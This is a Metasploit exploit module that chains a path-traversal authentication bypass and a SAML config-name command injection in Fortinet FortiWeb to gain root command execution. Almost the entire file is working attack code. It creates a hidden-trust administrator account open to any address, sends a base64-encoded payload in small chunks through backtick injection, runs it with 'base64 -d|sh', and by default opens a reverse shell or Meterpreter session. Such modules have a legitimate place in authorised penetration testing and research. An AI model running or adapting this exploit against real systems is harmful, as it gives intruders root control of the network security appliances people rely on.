##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Rex::Proto::Http::WebSocket
  include Msf::Exploit::Remote::HttpClient
  prepend Msf::Exploit::Remote::AutoCheck

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Fortinet FortiWeb unauthenticated RCE',
        'Description' => %q{
          This exploit module exploits an authentication bypass via path traversal vulnerability in the Fortinet
          FortiWeb management interface to create a new local administrator user account. From there a command
          injection vulnerability is leveraged to achieve RCE with root privileges.

          The auth bypass CVE-2025-64446 affects the following versions:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.4 (Patched in 7.6.5 and above)
          * FortiWeb 7.4.0 through 7.4.9 (Patched in 7.4.10 and above)
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          The command injection CVE-2025-58034 affects the following versions (Note the 7.6 and 7.4 branches are very
          slightly different when compared to the patch versions for CVE-2025-64446:

          * FortiWeb 8.0.0 through 8.0.1 (Patched in 8.0.2 and above)
          * FortiWeb 7.6.0 through 7.6.5 (Patched in 7.6.6 and above) <-- slight difference
          * FortiWeb 7.4.0 through 7.4.10 (Patched in 7.4.11 and above) <-- slight difference
          * FortiWeb 7.2.0 through 7.2.11 (Patched in 7.2.12 and above)
          * FortiWeb 7.0.0 through 7.0.11 (Patched in 7.0.12 and above)

          Note: Unsupported versions 6.* are also affected.

          This exploit module has been confirmed to work against 8.0.1, 7.4.8, 6.4.3, and 6.3.9.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'Defused', # PoC from honeypot for CVE-2025-64446
          'sfewer-r7', # MSF module and CVE-2025-58034 analysis
        ],
        'References' => [
          ['CVE', '2025-64446'], # Auth bypass
          ['CVE', '2025-58034'], # Command Injection
          ['URL', 'https://attackerkb.com/topics/zClpINmLCh/cve-2025-58034/rapid7-analysis'], # Analysis of CVE-2025-58034
          ['URL', 'https://x.com/defusedcyber/status/1975242250373517373'], # Original PoC for CVE-2025-64446 posted online
          ['URL', 'https://github.com/watchtowrlabs/watchTowr-vs-Fortiweb-AuthBypass'], # PoC for CVE-2025-64446
          ['URL', 'https://www.pwndefend.com/2025/11/13/suspected-fortinet-zero-day-exploited-in-the-wild/'],
          ['URL', 'https://www.rapid7.com/blog/post/etr-critical-vulnerability-in-fortinet-fortiweb-exploited-in-the-wild/'],
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-910'], # Vendor advisory for CVE-2025-64446
          ['URL', 'https://www.fortiguard.com/psirt/FG-IR-25-513'] # Vendor advisory for CVE-2025-58034
        ],
        # CVE-2025-64446 was disclosed on Nov 14, 2025, CVE-2025-58034 was disclosed on Nov 18, 2025.
        # Both vulnerabilities were silently patched by the vendor prior to this date.
        'DisclosureDate' => '2025-11-14',
        'Privileged' => true, # Executes as root.
        'Platform' => ['unix', 'linux'],
        'Arch' => [ARCH_CMD],
        'Targets' => [
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 8.0.1:
            #   cmd/unix/reverse_bash
            #   cmd/unix/reverse_openssl
            'FortiWeb 8.x', {
              'SupportedMajorVersions' => [8],
              # Only some of the Unix payloads have been verified to work, the Linux fetch payloads don't execute
              # due to the Linux Integrity Measurement Architecture (IMA) appraisal feature being enabled.
              'Platform' => 'unix',
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/unix/reverse_bash'
              }
            }
          ],
          [
            # NOTE: Tested with the following payloads against a vulnerable FortiWeb 7.4.8, 6.3.9 and 6.4.3:
            #   cmd/unix/reverse_bash
            #   cmd/linux/http/x64/meterpreter_reverse_tcp
            'FortiWeb 7.x and 6.x', {
              'SupportedMajorVersions' => [7, 6],
              'Platform' => ['unix', 'linux'],
              'Payload' => {
                'BadChars' => '"'
              },
              'DefaultOptions' => {
                'PAYLOAD' => 'cmd/linux/http/x64/meterpreter_reverse_tcp',
                'FETCH_WRITABLE_DIR' => '/tmp'
              }
            }
          ]
        ],
        'DefaultTarget' => 0,
        'DefaultOptions' => {
          'RPORT' => 443,
          'SSL' => true,
          # The maximum time in seconds to wait for a session.
          'WfsDelay' => 30
        },
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS],
          'RelatedModules' => ['auxiliary/admin/http/fortinet_fortiweb_create_admin']
        }
      )
    )

    register_options([
      OptString.new('TARGETURI', [true, 'Base path', '/'])
    ])

    register_advanced_options(
      [
        OptString.new('FortiWebAdminUsername', [false, 'A valid admin username to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAdminPassword', [false, 'A valid admin password to use. A new admin account will be created if not specified.', nil]),
        OptString.new('FortiWebAccessProfile', [ true, 'The access profile to use for the new admin account', 'prof_admin' ]),
        OptString.new('FortiWebDomain', [ true, 'The domain to use for the new admin account', 'root' ]),
        OptString.new('FortiWebDefaultAdminAccount', [ true, 'The default FortiWeb admin account name', 'admin' ]),
        OptString.new('FortiWebWritableDir', [true, 'The full path of a writable directory on the target.', '/tmp'])
      ]
    )
  end

  def check
    res = post_auth_bypass_request({ data: {} })

    return CheckCode::Unknown('Connection failed') unless res

    return Exploit::CheckCode::Safe('Received a 403 Forbidden response') if res.code == 403

    j = JSON.parse(res.body)

    # Tested against vulnerable FortiWeb versions 8.0.1, 7.4.8, 6.4.3, and 6.3.9
    return Exploit::CheckCode::Appears if j.dig('results', 'errcode') == -56

    CheckCode::Unknown('Unexpected JSON results')
  rescue JSON::ParserError
    return CheckCode::Unknown('Failed to parse JSON body')
  end

  def exploit
    if datastore['FortiWebAdminUsername'].nil? || datastore['FortiWebAdminPassword'].nil?
      print_status('Creating a new admin account via CVE-2025-64446...')

      admin_username = Faker::Internet.username
      admin_password = Rex::Text.rand_text_alpha(8)

      create_admin_account(admin_username, admin_password)

      print_good("New admin account successfully created: #{admin_username}:#{admin_password}")
    else
      admin_username = datastore['FortiWebAdminUsername']
      admin_password = datastore['FortiWebAdminPassword']

      print_good("Using existing admin credentials: #{admin_username}:#{admin_password}")
    end

    print_status('Logging in...')

    cookie_jar.clear

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'logincheck'),
      'keep_cookies' => true,
      'vars_post' => {
        'username' => admin_username,
        'secretkey' => admin_password
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    unless cookie_jar.cookies.find { |c| c.name.start_with? 'APSCOOKIE_FWEB' }
      fail_with(Msf::Exploit::Failure::UnexpectedReply, 'No APSCOOKIE_FWEB returned')
    end

    print_good("Successfully logged in as #{admin_username}")

    # Exploiting the command injection requires leveraging the CLI. Depending on the target FortiWeb major
    # version (6, 7, or 8), how we access the CLI differs. To account for this we pull the target system version
    # information here, and use it to verify the Metasploit target supports this major version, and the CLI technique
    # we use is correct for the major version being targeted.
    system_state = get_system_state

    print_good("Detected target version: #{system_state[:major_version]}.#{system_state[:minor_version]}.#{system_state[:patch_version]}")

    fail_with(Msf::Exploit::Failure::BadConfig, "The chosen exploit target only supports #{target['SupportedMajorVersions'].join(',')}. Set a different target.") unless target['SupportedMajorVersions'].include?(system_state[:major_version])

    begin
      print_status('Executing payload via CVE-2025-58034...')

      execute_payload(system_state)
    rescue Rex::Proto::Http::WebSocket::ConnectionError => e
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "CLI websocket connection error: #{e}")
    end

    print_good('Finished.')
  end

  def execute_payload(system_state)
    tmp_file_name = Rex::Text.rand_text_alphanumeric(4)

    bootstrap_payload = "rm -f #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*;"

    # We need to detach our payload from the current session, as when the TCP connections from out HTTP(S) requests close,
    # the device will tear down any child processes from the CLI, intern killing our payload prematurely. We would normally
    # use the nohup command for this, however this is unavailable on certain versions (available on 8.0.1, unavailable
    # on 7.4.8). To work around this, the bootstrap payload below will leverage Python, and use the Popen argument
    # start_new_session to do essentially what nohup does - call setsid() to create a new session.
    # When targeting FortiWeb 6.x Python 2 is available, so start_new_session is not available. Instead, we use
    # preexec_fn=os.setsid to get the same result.

    if system_state[:major_version] == 6
      # This has been confirmed to work as expected on 6.3.9 ands 6.4.3.
      bootstrap_payload += "python -c \"import subprocess,os;subprocess.Popen(\\\"#{payload.encoded}\\\",shell=True,preexec_fn=os.setsid)\""
    else
      # This has been confirmed to work as expected on 8.0.1 and 7.4.8.
      bootstrap_payload += "python -c \"import subprocess;subprocess.Popen(f\\\"#{payload.encoded}\\\",shell=True,start_new_session=True,stdout=subprocess.DEVNULL,stderr=subprocess.DEVNULL)\""
    end

    vprint_status("Using bootstrap payload: #{bootstrap_payload}")

    bootstrap_payload = Base64.strict_encode64(bootstrap_payload)

    idx = 1
    idx_prefix = ''

    # Our command injection can at most be 63 characters. We need 2 characters for a double back tick, and
    # 23 for the echo command that writes the chunk to a file (assuming a path of /tmp and a single digit idx
    # value). So by default, the chunk size will be 38. However, this may change as we write the chunks.
    # To ensure the `cat tmp_file_name*` command amalgamates the files in the correct order, if an idx goes above 9,
    # we reset the idx back to 1, and append a '9' character to an idx_prefix variable. This will ensure we get
    # sequential files, for example tmp1, tmp2, ..., tmp9, tmp91, tmp92, ..., tmp99, tmp991, tmp992, ...
    # A result of appending a character to the idx_prefix variable, is we can write 1 less character in the chunk, so
    # we must recompute the chunk size, to ensure we don't go over the 63-character limit.
    chunk_size = 63 - 2 - "echo -n |tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}".length

    # We write to a file via tee, as the > character is a bad char (so we cant do "echo foo > file" and
    # instead do "echo foo|tee file").

    # We also base64 encode the data we write, as single and double quotes are also bad chars, so we cant write
    # them, and therefore white spaces are also an issue.

    # We display the progress to the user, so track that with a current and max chunk number.
    curr_chunk_number = 1

    max_chunk_number = (bootstrap_payload.length / chunk_size) + 1

    while bootstrap_payload && !bootstrap_payload.empty?

      print_status("Uploading bootstrap payload chunk #{curr_chunk_number} of #{max_chunk_number}...")

      chunk = bootstrap_payload[0, chunk_size]

      bootstrap_payload = bootstrap_payload[chunk_size..]

      execute_cmd(system_state, "echo -n #{chunk}|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}#{idx_prefix}#{idx}")

      idx += 1

      if idx > 9
        idx = 1
        idx_prefix += '9'
        # Adjust chunk_size, as the idx_prefix value has had a '9' character appended to it, so the
        # next chunk must have 1 less character.
        chunk_size -= 1
        # If the payload was too big, and we run out of space in the command to write any chunk data, fail.
        # This is unlikely to occur in practise, as the MSF payload command would need to be very large to exhaust the
        # available space to write it. Back of a napkin calculation would be for every 9 chunks we get 1 less
        # character, so starting with a chunk size of 36, we have (36 * 9) + (35 * 9) + (34 * 9), ... + (1 * 9), which
        # would be a max MSF payload size of 5670 characters. Calculated with the command:
        # ruby -e "sz=0; 1.upto(36){ |i| sz += ((36-i)*9) };p sz"
        fail_with(Failure::BadConfig, 'No more space in the command to write chunk data, choose a smaller payload') if chunk_size.zero?
      end

      curr_chunk_number += 1
    end

    print_status('Amalgamating bootstrap payload chunks...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}*|tee #{datastore['FortiWebWritableDir']}/#{tmp_file_name}")

    print_status('Executing bootstrap payload...')

    execute_cmd(system_state, "cat #{datastore['FortiWebWritableDir']}/#{tmp_file_name}|base64 -d|sh")
  end

  def execute_cmd(system_state, cmd)
    vprint_status("Executing OS command: #{cmd}")

    # These bad chars are not allowed in a SAML config name, which is the command injection we leverage.
    # We also look for backticks, which are allowed, but we use two of them below to get command execution so we
    # don't want the incoming cmd to contain any as that would break our injection.
    '`#()>\'"'.each_char do |bad_char|
      fail_with(Failure::BadConfig, "Bad cmd char #{bad_char} in execute_cmd") if cmd.include? bad_char
    end

    # The max name length is 63 characters, less 2 for the double backtick, so 61 are available for the OS command.
    fail_with(Failure::BadConfig, 'Command too long for execute_cmd') if cmd.length > (63 - 2)

    case system_state[:major_version]
    when 6
      execute_cmd_v6(system_state, cmd)
    when 7, 8
      execute_cmd_v7_v8(cmd)
    else
      fail_with(Failure::NoTarget, "Major version not supported: #{system_state[:major_version]}")
    end
  end

  def execute_cmd_v6(system_state, cmd)
    vprint_status('Connecting to the HTTP CLI console...')

    res = send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'connect',
        'session_id' => system_state[:csrf_token]
      }
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    console_session_id = res.body.match(/(\d+):Connected/i)[1]&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get HTTP CLI console session ID') unless console_session_id

    vprint_status("HTTP CLI console session ID: #{console_session_id}")

    gen_cli_commands(cmd).each do |cli_command|
      res = send_request_cgi(
        'method' => 'POST',
        'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
        'keep_cookies' => true,
        'vars_post' => {
          'act' => 'xmit',
          'sid' => console_session_id,
          'session_id' => system_state[:csrf_token],
          'cmd' => cli_command + "\n"
        }
      )

      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200
    end

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, 'httpclirqst'),
      'keep_cookies' => true,
      'vars_post' => {
        'act' => 'disconnect',
        'sid' => console_session_id,
        'session_id' => system_state[:csrf_token]
      }
    )
  end

  def execute_cmd_v7_v8(cmd)
    vprint_status('Connecting to the CLI websocket...')

    wsock_headers = {
      'Cookie' => ''
    }

    cookie_jar.cookies.each do |c|
      wsock_headers['Cookie'] += "#{c}; "
    end

    wsock = connect_ws(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'ws', 'cli', 'open'),
      'headers' => wsock_headers
    )

    vprint_good('Successfully connected to the CLI websocket')

    cli_commands = gen_cli_commands(cmd)

    wsock.wsloop do |buffer, _|
      vprint_line(buffer)

      if buffer.end_with? ' # '
        cli_command = cli_commands.shift

        break if cli_command.nil?

        vprint_status("Running CLI command: #{cli_command}")

        wsock.put_wsbinary("#{cli_command}\n")

        break if cli_commands.empty?
      end
    end
  end

  def gen_cli_commands(cmd)
    [
      'config user saml-user',
      "edit \"`#{cmd}`\"",
      "set entityID http://#{Rex::Text.rand_text_alpha(4..8)}",
      "set service-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set enforce-signing disable',
      'set slo-bind post',
      "set slo-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'set sso-bind post',
      "set sso-path /#{Rex::Text.rand_text_alpha(4..8)}",
      'end'
    ]
  end

  def get_system_state
    res = send_request_cgi(
      'method' => 'GET',
      'uri' => normalize_uri(target_uri.path, 'api', 'v2.0', 'system', 'state'),
      'keep_cookies' => true
    )

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected response code: #{res.code}") unless res.code == 200

    j = JSON.parse(res.body)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, "Unexpected system state status: #{j['status']}") if j['status'] != 'success'

    # NOTE: The returned JSON has an expected typo 'resutls' which we have to account for.

    major_version = j.dig('resutls', 'config', 'CONFIG_MAJOR_NUM')&.to_i
    major_version ||= j.dig('results', 'config', 'CONFIG_MAJOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MAJOR_NUM') unless major_version

    minor_version = j.dig('resutls', 'config', 'CONFIG_MINOR_NUM')&.to_i
    minor_version ||= j.dig('results', 'config', 'CONFIG_MINOR_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_MINOR_NUM') unless minor_version

    patch_version = j.dig('resutls', 'config', 'CONFIG_PATCH_NUM')&.to_i
    patch_version ||= j.dig('results', 'config', 'CONFIG_PATCH_NUM')&.to_i

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to get system state CONFIG_PATCH_NUM') unless patch_version

    csrf_token = j.dig('resutls', 'admin', 'csrf_token')&.to_i
    csrf_token ||= j.dig('results', 'admin', 'csrf_token')&.to_i

    { major_version: major_version, minor_version: minor_version, patch_version: patch_version, csrf_token: csrf_token }
  rescue JSON::ParserError
    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Failed to parse JSON body')
  end

  # The FortiWeb reverse proxy/WebSocket server appears to be non-compliant. The "Upgrade" header is supposed to
  # be case-insensitive, and by default Metasploit will use "WebSocket", however the FortiWeb device will only
  # accept lower case, so we force "websocket" to be used instead.
  def connect(opts = {})
    if opts.dig('headers', 'Upgrade') == 'WebSocket'
      opts['headers']['Upgrade'].downcase!
    end
    super
  end

  # Create a new local admin account via CVE-2025-64446.
  def create_admin_account(admin_username, admin_password)
    request_data = {
      data: {
        'q_type' => 1,
        'name' => admin_username,
        'access-profile' => datastore['FortiWebAccessProfile'],
        'access-profile_val' => '0',
        'trusthostv4' => '0.0.0.0/0',
        'trusthostv6' => '::/0',
        'last-name' => '',
        'first-name' => '',
        'email-address' => '',
        'phone-number' => '',
        'mobile-number' => '',
        'hidden' => 0,
        'domains' => datastore['FortiWebDomain'],
        'sz_dashboard' => -1,
        'type' => 'local-user',
        'type_val' => '0',
        'admin-usergrp_val' => '0',
        'wildcard_val' => '0',
        'accprofile-override_val' => '0',
        'sshkey' => '',
        'passwd-set-time' => 0,
        'history-password-pos' => 0,
        'history-password0' => '',
        'history-password1' => '',
        'history-password2' => '',
        'history-password3' => '',
        'history-password4' => '',
        'history-password5' => '',
        'history-password6' => '',
        'history-password7' => '',
        'history-password8' => '',
        'history-password9' => '',
        'force-password-change' => 'disable',
        'force-password-change_val' => '0',
        'password' => admin_password
      }
    }

    res = post_auth_bypass_request(request_data)

    fail_with(Msf::Exploit::Failure::UnexpectedReply, 'Connection failed.') unless res

    fail_with(Msf::Exploit::Failure::NotVulnerable, 'Target does not appear vulnerable (403 Forbidden response)') if res.code == 403

    unless res.code == 200
      if res.headers['Content-Type'] == 'application/json'
        begin
          response_data = JSON.parse(res.body)
          print_bad(response_data.to_s)
        rescue JSON::ParserError
          print_bad('failed to parse response JSON data')
        end
      end
      fail_with(Msf::Exploit::Failure::UnexpectedReply, "Target returned an unexpected response (#{res.code})")
    end
  end

  def post_auth_bypass_request(request_data)
    cgi_info = {
      'username' => datastore['FortiWebDefaultAdminAccount'],
      'profname' => datastore['FortiWebAccessProfile'],
      'vdom' => datastore['FortiWebDomain'],
      'loginname' => datastore['FortiWebDefaultAdminAccount']
    }

    send_request_cgi(
      'method' => 'POST',
      'uri' => normalize_uri(target_uri.path, '/api/v2.0/cmdb/system/admin%3F/../../../../../cgi-bin/fwbcgi'),
      'headers' => {
        'CGIINFO' => Base64.strict_encode64(cgi_info.to_json)
      },
      'ctype' => 'application/json',
      'data' => request_data.to_json
    )
  end
end